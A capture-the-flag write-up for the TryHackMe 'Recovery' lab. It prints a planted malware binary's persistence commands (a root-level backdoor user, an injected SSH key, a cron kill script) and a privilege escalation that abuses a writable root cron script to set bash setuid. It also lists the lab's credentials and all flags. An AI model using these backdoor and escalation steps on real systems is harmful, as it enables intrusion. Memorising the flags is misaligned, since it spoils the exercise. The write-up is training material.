

Recovery

Recovery

<https://tryhackme.com/room/recovery>

stealth ssh

scan

```
rustscan -a 10.10.255.176 -- -sC -sV -A | tee scan.txt
```

2 ssh , 2 http

```
PORT      STATE SERVICE REASON  VERSION
22/tcp    open  ssh      syn-ack OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0)
| ssh-hostkey:
|   2048 5517c1d497ba8d82b9608139e4aa1ee8 (RSA)
| ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAQCAgXDoAAvHbVnHrHfjZaxCgLBQAImpPriPxxetRqPQYVPusw2lV6HPV1j2ymgdsaA7bNp8jroSqs54c2mVLyVYVwbdUscYuLMj/RfLPxHx/18J2LF0FnhyRsX8iszNqQ+BqDQ7402hyN/Cqbwy8pm6175QRIblyFRzFwihqSqCDp90075Y9wr2+iQX8yzl7CJjnS5w+vEdnGsF88Mzs/NZxB2ZHoDf3lw8uMo0Hg23GfPntVilr01AP6szDOHIMLMMk6pMqkU7MrXvJz+Ij+MP8b1+ST0uBB4MgtRuyQLXyRZGx4M30YGdR+jnfAjIKEjAEqrSyotr+L+hLEgUNHT
|   256 8df5abab23eda3c0e9ca90e9808e1444 (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTU1bmlzdHhAYnTYAAAAIbmlzdHhAYnTYAAABBBcJzHLHSeKU/G6uRjXbHIsErARTzJ+a1lVwvIXkLoaqlhIM616JxWkaUD0CxLjrnSjxKsjI1YXcrHYFNd2rys=
|   256 3eae9186811204e47090b140efb7f1b6 (ED25519)
| ssh-ed25519 AAAAC3NzaC1lZD11NTESAAAAIHR259LxSM/24wvX1dnbS1ehHzmK4sr1B7aZqsFiesOB
80/tcp    open  http      syn-ack Apache httpd 2.4.43 ((Unix))
| http-methods:
|   Supported Methods: HEAD GET POST OPTIONS TRACE
|   Potentially risky methods: TRACE
|_ http-title: Site doesn't have a title (text/html).
|_ http-server-header: Apache/2.4.43 (Unix)
1337/tcp  open  http      syn-ack nginx 1.14.0 (Ubuntu)
| http-server-header: nginx/1.14.0 (Ubuntu)
|_ http-title: Help Alex!
| http-methods:
|   Supported Methods: OPTIONS GET HEAD
65499/tcp open  ssh      syn-ack OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   2048 b9b6aa938daab7f3af719d7fc5831d63 (RSA)
| ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAQIDefQd78mUpAtjIlg69126jdxWq6Xjv1vNMdaV3PrE70ee0YPwQxQnYswl7v1k+r9c1PENL8o14wokp/nk2omQP3Iwua/STVYo6Xdh9DIgC7x68FWaJn/t24zhKKZ/v8vHIIulI5sdHTQzapVgIqhZFWH1JhvmD0buKGccgRQddPElr2pwguwSdN0zW21h8LPMr7wE1afbaLhM09fEN0UuwDF4RfFo5GoW7Mhz4Y64PxLH6CbrAS/z05Pe7F3nx2/YndvM83VNNtGCSOnSbmt0AbgZhh/Zv05RM8p1QR4EoMS14ogQQW6VH78GNRR0G2V+P56u1VQ/Je6CXLmwML69
|   256 64981438ff38057e25ae5d332db678f3 (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTU1bmlzdHhAYnTYAAAAIbmlzdHhAYnTYAAABBBEFh4xjNznqUWl0mutlVT1AIG/RnduH5bjmze2euH63jQRqYS1h8Y4Negc4cw4CXm3HpKxtYct04VAaGwHCGNWK=-
|   256 ef2e603adeea2b257d26da56b5bc43a (ED25519)
| ssh-ed25519 AAAAC3NzaC1lZD11NTESAAAAIC/3limc1kKaUsvUlgomJ1RGFpLTNcb1YDT+TDXJ03R5
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
```

I have creds for ssh :22

Please access the web server and repair all the damage caused by fixutil. You can find the binary in my home directory. Here are my ssh credentials:

Username: alex

Password: madeline

I have setup a control panel to track your progress on port 1337. Access it via your web browser. As you repair the damage, you can refresh the page to receive those "Flags" I know you love hoarding.

Good luck!

- Your friend Alex

ssh 22

I can't do nothing on ssh. But I can connect by "stealth terminal" for short time

```
ssh -T alex@10.10.255.176
```

```
-s May be used to request invocation of a subsystem.
The subsystem is specified as the remote command to execute.

-T Disable pseudo-terminal allocation.
```

check processes

```
ps aux
```

```
(kali㉿kali)~[~/THM/recovery]
```

```
$ ssh -T alex@10.10.255.176
```

```
alex@10.10.255.176's password:
```

```
Linux recoveryserver 4.15.0-106-generic #107-Ubuntu SMP Thu Jun 4 11:27:52 UTC 2020 x86_64
```

Good luck!

Refresh

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permitted by applicable law.

```
ps aux
```

USER	PID	%CPU	%MEM	VSZ	RSS	TTY	STAT	START	TIME	COMMAND
root	1	0.3	0.0	2388	68	?	Ss	19:30	0:04	/bin/sh -c /root/init_script.sh
root	6	0.0	0.0	2388	68	?	S	19:30	0:00	/bin/sh /root/init_script.sh
root	15	0.0	0.2	15852	1236	?	Ss	19:30	0:00	/usr/sbin/sshd
root	22	0.0	0.2	5512	1100	?	Ss	19:30	0:00	/usr/sbin/cron
root	23	0.0	0.3	5936	1776	?	S	19:30	0:00	httpd -DFOREGROUND
daemon	25	0.0	0.4	752536	1972	?	SL	19:30	0:00	httpd -DFOREGROUND
daemon	26	0.0	0.2	752208	1272	?	SL	19:30	0:00	httpd -DFOREGROUND
daemon	27	0.0	0.3	752464	1944	?	SL	19:30	0:00	httpd -DFOREGROUND
root	295	0.0	1.5	16500	7616	?	Ss	19:48	0:00	sshd: alex [priv]
alex	301	0.0	0.9	16784	4876	?	S	19:48	0:00	sshd: alex@notty
alex	302	0.0	0.5	3736	2732	?	Ss	19:48	0:00	-bash
alex	304	0.0	0.5	7640	2708	?	R	19:48	0:00	ps aux

```
strings fixutil
```

```
dh34k(
/usr/local/apache2/htdocs/
/opt/.fixutil/
/opt/.fixutil/backup.txt
/bin/mv /tmp/logging.so /lib/x86_64-linux-gnu/oldliblogging.so
ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAQGC4U9g0tekRWtwKBL3+ysB5WfYbPSi/rpvDDfVRNZ+BL81mQYTMPbY3bD6u2eYXXFWMK6k3XsILBzVqCqQVNZeyUj5*2FFEZ0R+HmxXQkBi+yNMVoJYgHQYngIezdBsparH62RUTfmUbwGLT0kxqnnZ
QsJbXnUCspo0z0h18tK4qr8uy2PAG7QbzL/epFRPjBn4f3CWV+EwkkkE9XLPJ+SHWPL8Jsd1D/gTIMd0P9TD1Ig5w6F0f4yeGXIVjxrA4MCHMMo1U9vsIkThFLq80TWp9VzWJaeV9jnTFg+bZnTXIoT4+Q2GLV124qdzW54*9AmYfo0FH9tBwr0+p
JNW1ICG6iYUaHeQsA8fSka7fHeS6czjVr6Y76Q1Waq44q/BzdQ9KlTEkNSs+ZsQs9csUybwSxumipViSula63cLnkFfr3D9nzD0bFhek60Ek+ZLyp8YEagHMHfB61Fhu09w5cPZApTngxyzJU/CgwicccZtXURnBmKV72rF06ISrus= root@recovery
/root/.ssh/authorized_keys
/usr/sbin/useradd --non-unique -u 0 -g 0 security 2>/dev/null
/opt/brilliant_script.sh
#!/bin/sh
for i in $(ps aux | grep bash | grep -v grep | awk '{print $2}'); do kill $i; done;
/etc/cron.d/evil
* * * * root /opt/brilliant_script.sh 2>&1 >/tmp/testlog
:*3$
GCC: (Ubuntu 9.3.0-10ubuntu2) 9.3.0
/usr/lib/gcc/x86_64-linux-gnu/9/include
/usr/include/x86_64-linux-gnu/bits
/usr/include/x86_64-linux-gnu/bits/types
/usr/include
replacelogging.c
stddef.h
types.h
struct_FILE.h
FILE.h
radio.h
```

```
10.10.254.90/cgi-bin/test-cgi

# To permit this cgi, replace # on the first line above with the
# appropriate #!/path/to/sh shebang, and set this script executable
# with chmod 755.
#
# ***** !!! WARNING !!! *****
# This script echoes the server environment variables and therefore
# leaks information - so NEVER use it in a live server environment!
# It is provided only for testing purpose.
# Also note that it is subject to cross site scripting attacks on
# MS IE and any other browser which fails to honor RFC2616.
#
# disable filename globbing
set -f

echo "Content-type: text/plain; charset=iso-8859-1"
echo

echo CGI/1.0 test script report:
echo

echo argc is $#. argv is "$*".
echo

echo SERVER_SOFTWARE = $SERVER_SOFTWARE
echo SERVER_NAME = $SERVER_NAME
echo GATEWAY_INTERFACE = $GATEWAY_INTERFACE
echo SERVER_PROTOCOL = $SERVER_PROTOCOL
echo SERVER_PORT = $SERVER_PORT
echo REQUEST_METHOD = $REQUEST_METHOD
echo HTTP_ACCEPT = "$HTTP_ACCEPT"
echo PATH_INFO = "$PATH_INFO"
echo PATH_TRANSLATED = "$PATH_TRANSLATED"
echo SCRIPT_NAME = "$SCRIPT_NAME"
echo QUERY_STRING = "$QUERY_STRING"
echo REMOTE_HOST = $REMOTE_HOST
echo REMOTE_ADDR = $REMOTE_ADDR
echo REMOTE_USER = $REMOTE_USER
echo AUTH_TYPE = $AUTH_TYPE
echo CONTENT_TYPE = $CONTENT_TYPE
echo CONTENT_LENGTH = $CONTENT_LENGTH
```

I can't remove nothing malicious, can remove something in

```
.debug_cinc
.debug_str
/home/alex/.bashrc
while ;; do echo "YOU DIDN'T SAY THE MAGIC WORD!"; done &
/bin/cp /lib/x86_64-linux-gnu/liblogging.so /tmp/logging.so
/lib/x86_64-linux-gnu/liblogging.so
echo pwned | /bin/admin > /dev/null
```

my home directory

```
rm .bashrc
```

```
rm .bashrc
ls -la
total 60
drwxr-xr-x 1 alex alex 4096 Feb 25 14:39 .
drwxr-xr-x 1 root root 4096 Jun 17 2020 ..
-rw-r--r-- 1 alex alex 220 Apr 18 2019 .bash_logout
-rw-r--r-- 1 alex alex 807 Apr 18 2019 .profile
-rwxrwxr-x 1 root root 37344 Jun 12 2020 fixutil
```

Each time you remove part of the malware and press the

Flag 0: THM(d8b5c89061ed76754)

Good luck!

(kali㉿kali)-[~/THM/recovery]

\$ ssh alex@10.10.82.193

alex@10.10.82.193's password:

Linux recoveryserver 4.15.0-106-generic #107-Ubuntu SMP Thu Jun 4 11:27:52 UTC 2020 x86_64

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individual files in /usr/share/doc/*/copyright.

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permitted by applicable law.

alex@recoveryserver:~\$ ls -la

```
total 60
drwxr-xr-x 1 alex alex 4096 Feb 25 14:39 .
drwxr-xr-x 1 root root 4096 Jun 17 2020 ..
-rw-r--r-- 1 alex alex 220 Apr 18 2019 .bash_logout
-rw-r--r-- 1 alex alex 807 Apr 18 2019 .profile
-rwxrwxr-x 1 root root 37344 Jun 12 2020 fixutil
alex@recoveryserver:~$
```

Now I can download linpeas

```
scp linpeas.sh alex@10.10.82.193:/home/alex
```

Not shure that help me

```
Breakout via mounts
https://book.hacktricks.xyz/linux-hardening/privilege-escalation/docker-breakout/docker-breakout-privilege-escalation/sensitive-mounts
ls: cannot access '/sbin/modprobe': No such file or directory
release_agent breakout 1..... Yes
release_agent breakout 2..... No
core_pattern breakout ..... No
binfmt_misc breakout ..... No
uevent_helper breakout ..... No
core_pattern breakout ..... No
is modprobe present ..... No
DoS via panic_on_oom ..... No
DoS via panic_sys_fs ..... No
DoS via sysreq_trigger_dos ..... No
/proc/config.gz readable ..... No
/proc/sched_debug readable ..... Yes
/proc/*/mountinfo readable ..... Yes
/sys/kernel/security present ... Yes
/sys/kernel/security writable .. No
```

Good luck!

Refresh

destroy script brilliant_script.sh

I can't remose malicious script but I have write permissions

```
echo 'perec'> /opt/brilliant_script.sh
```

Now my shell not removed by this script

```
(kali㉿kali)-[~/THM/recovery]
$ ssh alex@10.10.82.193
alex@10.10.82.193's password:
Linux recoveryserver 4.15.0-106-generic #107-Ubuntu SMP Thu Jun 4 11:27:52 UTC 2020 x86_64

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Last login: Sun Feb 25 14:52:14 2024 from 10.18.88.130
alex@recoveryserver:~$ echo 'percec'> /opt/brilliant_script.sh
alex@recoveryserver:~$ ls -la
total 880
drwxr-xr-x 1 alex alex 4096 Feb 25 14:51 .
drwxr-xr-x 1 root root 4096 Jun 17 2020 ..
-rw-r--r-- 1 alex alex 104 Feb 25 14:55 .bash_history
-rw-r--r-- 1 alex alex 220 Apr 18 2019 .bash_logout
-rw-r--r-- 1 alex alex 807 Apr 18 2019 .profile
-rwxrwxr-x 1 root root 37344 Jun 12 2020 fixutil
-rwxr-xr-x 1 alex alex 828287 Feb 25 14:51 linpeas.sh
-rw-r--r-- 1 alex alex 3262 Feb 25 14:51 pwnkit.py
alex@recoveryserver:~$ which python
alex@recoveryserver:~$ which python3
alex@recoveryserver:~$ cat /opt/brilliant_script.sh
percec
alex@recoveryserver:~$
```

root

now I can use this script to get root

```
echo 'chmod u+s /bin/bash'> /opt/brilliant_script.sh
```

Wait 1 minute and run

```
/bin/bash -p
alex@recoveryserver:/opt$ echo 'chmod u+s /bin/bash'> /opt/brilliant_script.sh
alex@recoveryserver:/opt$ cat brilliant_script.sh
chmod u+s /bin/bash
alex@recoveryserver:/opt$ ls -la /bin/bash
-rwxr-xr-x 1 root root 1168776 Apr 18 2019 /bin/bash
alex@recoveryserver:/opt$ ls -la /bin/bash
-rwxr-xr-x 1 root root 1168776 Apr 18 2019 /bin/bash
alex@recoveryserver:/opt$ ls -la /bin/bash
-rwsr-xr-x 1 root root 1168776 Apr 18 2019 /bin/bash
alex@recoveryserver:/opt$ ls -la /bin/bash
-rwsr-xr-x 1 root root 1168776 Apr 18 2019 /bin/bash
alex@recoveryserver:/opt$ /bin/bash -p
bash-5.0# id
uid=1000(alex) gid=1000(alex) euid=0(root) groups=1000(alex)
bash-5.0# cd /root
bash-5.0# ls -la
total 24
drwxr-xr-x 1 root root 4096 Jun 17 2020 .
drwxr-xr-x 1 root root 4096 Jun 17 2020 ..
-rw-r--r-- 1 root root 570 Jan 31 2010 .bashrc
-rw-r--r-- 1 root root 148 Aug 17 2015 .profile
drwxr-xr-x 1 root root 4096 Jun 17 2020 .ssh
-rwxrwxr-x 1 root root 54 Jun 17 2020 init_script.sh
bash-5.0#
```

To delete hacker's authorized key:

```
echo '1' > authorized_keys
```

It is give me a 3rd flag

```
drwxr-xr-x 1 root root 4096 Jun 17 2020 .
drwx----- 1 root root 4096 Feb 25 15:16 ..
-rw-r--r-- 1 root root 567 Jun 17 2020 authorized_keys
bash-5.0# echo '1' > authorized_keys
bash-5.0#
```

delete malicious user

The backdor is a user **security**.

Using nano remove him from /etc/passwd

```
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin /home/alex
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
_apt:x:100:65534::/nonexistent:/usr/sbin/nologin
systemd-timesync:x:101:102:systemd Time Synchronization,,,:/run/systemd:/usr/sbin/nologin
systemd-network:x:102:103:systemd Network Management,,,:/run/systemd:/usr/sbin/nologin
systemd-resolve:x:103:104:systemd Resolver,,,:/run/systemd:/usr/sbin/nologin
messagebus:x:104:105::/nonexistent:/usr/sbin/nologin
Debian-exim:x:105:106::/var/spool/exim4:/usr/sbin/nologin
sshd:x:106:65534::/run/sshd:/usr/sbin/nologin
alex:x:1000:1000::/home/alex:/bin/bash
```

I found 4 flags and restart machine)

Each time you remove part of the malware **and press the refresh button**, a flag will show up below.

Flag 0: THM{d8b5c89061ed767547a782e0f9b0b0fe}

Flag 1: THM{4c3e355694574cb182ca3057a685509d}

Flag 3: THM{70f7de17bb4e08686977a061205f3bf0}

Flag 4: THM{b0757f8fb8fe8dac584e80c6ac151d7d}

Good luck!

Refresh

flag 2

malware replace file `/lib/x86_64-linux-gnu/liblogging.so` to `/lib/x86_64-linux-gnu/oldliblogging.so`

I need to give it back

```
bash-5.0# id
uid=1000(alex) gid=1000(alex) euid=0(root) groups=1000(alex)
bash-5.0# cp /lib/x86_64-linux-gnu/oldliblogging.so /lib/x86_64-linux-gnu/liblogging.so
bash-5.0#
```

```
cp /lib/x86_64-linux-gnu/oldliblogging.so /lib/x86_64-linux-gnu/liblogging.so
```

the hardest flag

Here is encrypted files . and key for this files

```
drwxr-xr-x 1 root root 4096 Jun 17 2020 .
drwxr-xr-x 1 www-data www-data 4096 May 15 2020 ..
-rw-rw-r-- 1 root root 997 Jun 17 2020 index.html
-rw-rw-r-- 1 root root 109 Jun 17 2020 reallyimportant.txt
-rw-rw-r-- 1 root root 85 Jun 17 2020 todo.html
bash-5.0# cat /opt/.fixutil/backup.txt
AdsipPewFlfkml1
bash-5.0#
```

Download files to kali and decrypt

script:

<https://github.com/AlexFSmirnov/xor-decrypt/blob/master/xor-decrypt.py>

```
python3 xor.py -i index.html -o index1.html -k AdsipPewFlfkml1 -d
```

```
python3 xor.py -i todo.html -o todo1.html -k AdsipPewFlfkml1 -d
```

```
python3 xor.py -i reallyimportant.txt -o scan.txt -k AdsipPewFlfkml1 -d
```

```
(kali㉿kali)-[~/THM/recovery]
$ python3 xor.py -i index.html -o index1.html -k AdsipPewFlfkml1 -d
alex@recoveryserver:~$
(kali㉿kali)-[~/THM/recovery]
$ cat index1.html
<!DOCTYPE html>
<html>
<head>
<title>Recoverysoft</title>
<style>
body {
margin: 0;
}
* {
font-family: sans-serif;
text-align: center;
}
h1 {
font-size: 40px;
margin-bottom: 50px;
width: calc(100% - 80px);
background-color: #eee;
padding: 40px;
margin-top: 0;
}
footer {
position: fixed;
bottom: 0;
width: 100%;
margin-bottom: 10px;
font-size: 13px;
}
</style>
</head>
```

now rename files to original names and send back to machine

```
(kali㉿kali)-[~/THM/recovery]
$ mv todo1.html todo.html

(kali㉿kali)-[~/THM/recovery]
$ rm index.html

(kali㉿kali)-[~/THM/recovery]
$ mv index1.html index.html

(kali㉿kali)-[~/THM/recovery]
$ scp todo.html alex@10.10.223.4:/home/alex
alex@10.10.223.4's password:
todo.html 100% 85 0.9KB/s 00:00

(kali㉿kali)-[~/THM/recovery]
$ scp reallyimportant.txt alex@10.10.223.4:/home/alex
alex@10.10.223.4's password:
reallyimportant.txt 100% 109 1.2KB/s 00:00

(kali㉿kali)-[~/THM/recovery]
$ scp index.html alex@10.10.223.4:/home/alex
alex@10.10.223.4's password:
index.html 100% 997 9.9KB/s 00:00
```

```
cd /usr/local/apache2/htdocs
```



```
mv /home/alex/index.html /home/alex/reallyimportant.txt /home/alex/todo.html .
```



Each time you remove part of the malware **and press the refresh button**, a flag will show up below.

Flag 0: THM{d8b5c89061ed767547a782e0f9b0b0fe}

Flag 1: THM{4c3e355694574cb182ca3057a685509d}

Flag 2: THM{72f8fe5fd968b5817f67acecdc701e52}

Flag 3: THM{70f7de17bb4e08686977a061205f3bf0}

Flag 4: THM{b0757f8fb8fe8dac584e80c6ac151d7d}

Flag 5: THM{088a36245afc7cb935f19f030c4c28b2}

Good luck!

Refresh